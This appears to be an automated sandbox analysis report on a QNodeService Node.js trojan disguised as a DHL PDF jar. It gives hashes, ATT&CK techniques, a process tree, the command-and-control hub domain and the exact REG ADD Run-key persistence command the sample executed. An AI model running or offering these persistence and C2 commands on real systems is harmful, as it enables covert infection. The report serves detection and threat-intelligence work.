qnodeservice | d529003a6e1708637cc07277bfbef218db0dcaec7eed84b28567910f439297ee

General

Target

DHL_Nov 2020 at 1.85_8BZ290_PDF.jar
Size

71KB
MD5

f204d9f0175eb6a66a0e312d63477680
SHA1

e161a465e339be0ec43ba30ee7b0c25a9b40dc0e
SHA256

d529003a6e1708637cc07277bfbef218db0dcaec7eed84b28567910f439297ee
SHA512

7d0c8c20539affd05bc5ee7de1cdc4cb65e2127b7972418c686677d7b4d12e34803446f73bce0406fdeeea6ab72c9fabee5aeb81985bce1502aabaa9d531c227

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1000	node.exe
640	node.exe
2828	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\a7711235-3d47-45fc-91ec-f845beae6ac6 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab7b-176.dat	js
behavioral2/files/0x000100000001ab7b-181.dat	js
behavioral2/files/0x000100000001ab7b-185.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	wtfismyip.com
22	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1000	node.exe
1000	node.exe
1000	node.exe
1000	node.exe
640	node.exe
640	node.exe
640	node.exe
640	node.exe
2828	node.exe
2828	node.exe
2828	node.exe
2828	node.exe
2828	node.exe
2828	node.exe
2828	node.exe
2828	node.exe
2828	node.exe
2828	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 944 wrote to memory of 3212	944	java.exe	77
PID 944 wrote to memory of 3212	944	java.exe	77
PID 3212 wrote to memory of 1000	3212	javaw.exe	81
PID 3212 wrote to memory of 1000	3212	javaw.exe	81
PID 1000 wrote to memory of 640	1000	node.exe	83
PID 1000 wrote to memory of 640	1000	node.exe	83
PID 640 wrote to memory of 2828	640	node.exe	84
PID 640 wrote to memory of 2828	640	node.exe	84
PID 2828 wrote to memory of 3596	2828	node.exe	86
PID 2828 wrote to memory of 3596	2828	node.exe	86
PID 3596 wrote to memory of 1856	3596	cmd.exe	87
PID 3596 wrote to memory of 1856	3596	cmd.exe	87

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\DHL_Nov 2020 at 1.85_8BZ290_PDF.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:944
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\2046ecee.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ntums.mooo.com
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1000
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vd0F0V\boot.js --hub-domain ntums.mooo.com
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:640
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vd0F0V\boot.js --hub-domain ntums.mooo.com
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2828
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a7711235-3d47-45fc-91ec-f845beae6ac6" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3596
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a7711235-3d47-45fc-91ec-f845beae6ac6" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1856

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/640-182-0x000001F293400000-0x000001F293401000-memory.dmp

Filesize
4KB

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memory/1000-179-0x00000058651C0000-0x00000058651C1000-memory.dmp

Filesize
4KB

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memory/2828-186-0x0000016F31B40000-0x0000016F31B41000-memory.dmp

Filesize
4KB

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